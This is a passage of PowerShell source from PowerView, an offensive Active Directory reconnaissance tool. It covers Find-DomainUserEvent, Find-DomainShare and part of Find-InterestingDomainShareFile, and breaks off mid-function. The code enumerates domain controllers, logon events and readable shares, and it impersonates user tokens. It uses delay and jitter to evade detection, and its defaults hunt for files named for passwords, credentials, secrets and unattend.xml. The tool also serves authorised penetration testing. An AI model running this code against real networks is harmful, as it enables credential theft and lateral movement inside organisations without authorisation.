|
|
|
|
[Alias('AdminCount')]
|
|
[Switch]
|
|
$UserAdminCount,
|
|
|
|
[Switch]
|
|
$CheckAccess,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$StopOnSuccess,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
$UserSearcherArguments = @{
|
|
'Properties' = 'samaccountname'
|
|
}
|
|
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
|
|
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
|
|
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
|
|
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
|
|
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
|
|
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
|
|
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
|
|
}
|
|
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
|
|
# otherwise we're querying a specific group
|
|
$GroupSearcherArguments = @{
|
|
'Identity' = $UserGroupIdentity
|
|
'Recurse' = $True
|
|
}
|
|
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
|
|
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
|
|
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
|
|
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
|
|
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
|
|
}
|
|
|
|
# build the set of computers to enumerate
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = $ComputerName
|
|
}
|
|
else {
|
|
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
|
|
$DCSearcherArguments = @{
|
|
'LDAP' = $True
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
|
|
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
|
|
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
|
|
$TargetComputers = @(,$TargetComputers)
|
|
}
|
|
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
|
|
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-DomainUserEvent] No hosts found to enumerate'
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
$DomainUserEventArgs = @{
|
|
'ComputerName' = $TargetComputer
|
|
}
|
|
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
|
|
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
|
|
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
|
|
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
|
|
if ($Filter -or $TargetUsers) {
|
|
if ($TargetUsers) {
|
|
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
|
|
}
|
|
else {
|
|
$Operator = 'or'
|
|
$Filter.Keys | ForEach-Object {
|
|
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
|
|
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
|
|
$Operator = 'and'
|
|
}
|
|
}
|
|
}
|
|
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
|
|
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
|
|
if ($Operator -eq 'or') {
|
|
ForEach ($Key in $Keys) {
|
|
if ($_."$Key" -match $Filter[$Key]) {
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
# and all clauses
|
|
ForEach ($Key in $Keys) {
|
|
if ($_."$Key" -notmatch $Filter[$Key]) {
|
|
break
|
|
}
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
Get-DomainUserEvent @DomainUserEventArgs
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
|
|
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
|
|
$Result
|
|
|
|
if ($Result -and $StopOnSuccess) {
|
|
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
|
|
return
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'StartTime' = $StartTime
|
|
'EndTime' = $EndTime
|
|
'MaxEvents' = $MaxEvents
|
|
'TargetUsers' = $TargetUsers
|
|
'Filter' = $Filter
|
|
'Credential' = $Credential
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-DomainShare {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Searches for computer shares on the domain. If -CheckShareAccess is passed,
|
|
then only shares the current user has read access to are returned.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates all machines on the current (or specified) domain
|
|
using Get-DomainComputer, and enumerates the available shares for each
|
|
machine with Get-NetShare. If -CheckShareAccess is passed, then
|
|
[IO.Directory]::GetFiles() is used to check if the current user has read
|
|
access to the given share. If -Credential is passed, then
|
|
Invoke-UserImpersonation is used to impersonate the specified user before
|
|
enumeration, reverting after with Invoke-RevertToSelf.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
|
|
If -ComputerName is not passed, the default behavior is to enumerate all machines
|
|
in the domain returned by Get-DomainComputer.
|
|
|
|
.PARAMETER ComputerDomain
|
|
|
|
Specifies the domain to query for computers, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for computer objects.
|
|
|
|
.PARAMETER ComputerSearchBase
|
|
|
|
Specifies the LDAP source to search through for computers,
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER ComputerOperatingSystem
|
|
|
|
Search computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ComputerServicePack
|
|
|
|
Search computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER ComputerSiteName
|
|
|
|
Search computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER CheckShareAccess
|
|
|
|
Switch. Only display found shares that the local user has access to.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain and target systems.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainShare
|
|
|
|
Find all domain shares in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainShare -CheckShareAccess
|
|
|
|
Find all domain shares in the current domain that the current user has
|
|
read access to.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Find-DomainShare -Domain testlab.local -Credential $Cred
|
|
|
|
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ShareInfo
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ShareInfo')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DNSHostName')]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Domain')]
|
|
[String]
|
|
$ComputerDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerSearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('OperatingSystem')]
|
|
[String]
|
|
$ComputerOperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePack')]
|
|
[String]
|
|
$ComputerServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SiteName')]
|
|
[String]
|
|
$ComputerSiteName,
|
|
|
|
[Alias('CheckAccess')]
|
|
[Switch]
|
|
$CheckShareAccess,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
|
|
$ComputerSearcherArguments = @{
|
|
'Properties' = 'dnshostname'
|
|
}
|
|
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
|
|
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
|
|
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
|
|
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
|
|
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = $ComputerName
|
|
}
|
|
else {
|
|
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
|
|
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-DomainShare] No hosts found to enumerate'
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $CheckShareAccess, $TokenHandle)
|
|
|
|
if ($TokenHandle) {
|
|
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
|
|
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
|
|
}
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
# get the shares for this host and check what we find
|
|
$Shares = Get-NetShare -ComputerName $TargetComputer
|
|
ForEach ($Share in $Shares) {
|
|
$ShareName = $Share.Name
|
|
# $Remark = $Share.Remark
|
|
$Path = '\\'+$TargetComputer+'\'+$ShareName
|
|
|
|
if (($ShareName) -and ($ShareName.trim() -ne '')) {
|
|
# see if we want to check access to this share
|
|
if ($CheckShareAccess) {
|
|
# check if the user has access to this path
|
|
try {
|
|
$Null = [IO.Directory]::GetFiles($Path)
|
|
$Share
|
|
}
|
|
catch {
|
|
Write-Verbose "Error accessing share path $Path : $_"
|
|
}
|
|
}
|
|
else {
|
|
$Share
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($TokenHandle) {
|
|
Invoke-RevertToSelf
|
|
}
|
|
}
|
|
|
|
$LogonToken = $Null
|
|
if ($PSBoundParameters['Credential']) {
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
else {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
|
|
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'CheckShareAccess' = $CheckShareAccess
|
|
'TokenHandle' = $LogonToken
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-InterestingDomainShareFile {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Searches for files matching specific criteria on readable shares
|
|
in the domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates all machines on the current (or specified) domain
|
|
using Get-DomainComputer, and enumerates the available shares for each
|
|
machine with Get-NetShare. It will then use Find-InterestingFile on each
|
|
readhable share, searching for files marching specific criteria. If -Credential
|
|
is passed, then Invoke-UserImpersonation is used to impersonate the specified
|
|
user before enumeration, reverting after with Invoke-RevertToSelf.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
|
|
If -ComputerName is not passed, the default behavior is to enumerate all machines
|
|
in the domain returned by Get-DomainComputer.
|
|
|
|
.PARAMETER ComputerDomain
|
|
|
|
Specifies the domain to query for computers, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for computer objects.
|
|
|
|
.PARAMETER ComputerSearchBase
|
|
|
|
Specifies the LDAP source to search through for computers,
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER ComputerOperatingSystem
|
|
|
|
Search computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ComputerServicePack
|
|
|
|
Search computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER ComputerSiteName
|
|
|
|
Search computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER Include
|
|
|
|
Only return files/folders that match the specified array of strings,
|
|
i.e. @(*.doc*, *.xls*, *.ppt*)
|
|
|
|
.PARAMETER SharePath
|
|
|
|
Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
|
|
|
|
.PARAMETER ExcludedShares
|
|
|
|
Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
|
|
|
|
.PARAMETER LastAccessTime
|
|
|
|
Only return files with a LastAccessTime greater than this date value.
|
|
|
|
.PARAMETER LastWriteTime
|
|
|
|
Only return files with a LastWriteTime greater than this date value.
|
|
|
|
.PARAMETER CreationTime
|
|
|
|
Only return files with a CreationTime greater than this date value.
|
|
|
|
.PARAMETER OfficeDocs
|
|
|
|
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
|
|
|
|
.PARAMETER FreshEXEs
|
|
|
|
Switch. Find .EXEs accessed within the last 7 days.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain and target systems.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-InterestingDomainShareFile
|
|
|
|
Finds 'interesting' files on the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
|
|
|
|
Finds 'interesting' files on readable shares on the specified systems.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword)
|
|
Find-DomainShare -Domain testlab.local -Credential $Cred
|
|
|
|
Searches interesting files in the testlab.local domain using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.FoundFile
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.FoundFile')]
|
|
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DNSHostName')]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerSearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('OperatingSystem')]
|
|
[String]
|
|
$ComputerOperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePack')]
|
|
[String]
|
|
$ComputerServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SiteName')]
|
|
[String]
|
|
$ComputerSiteName,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SearchTerms', 'Terms')]
|
|
[String[]]
|
|
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[ValidatePattern('\\\\')]
|
|
[Alias('Share')]
|
|
[String[]]
|
|
$SharePath,
|
|
|
|
[String[]]
|
|
$ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$LastAccessTime,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$LastWriteTime,
|
|
|
|
[Parameter(ParameterSetName = 'FileSpecification')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$CreationTime,
|
|
|
|
[Parameter(ParameterSetName = 'OfficeDocs')]
|
|
[Switch]
|
|
$OfficeDocs,
|
|
|
|
[Parameter(ParameterSetName = 'FreshEXEs')]
|
|
[Switch]
|
|
$FreshEXEs,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
$ComputerSearcherArguments = @{
|
|
'Properties' = 'dnshostname'
|
|
}
|
|
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
|
|
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
|
|
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
|
|
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = $ComputerName
|
|
}
|
|
else {
|
|
Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain'
|
|
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
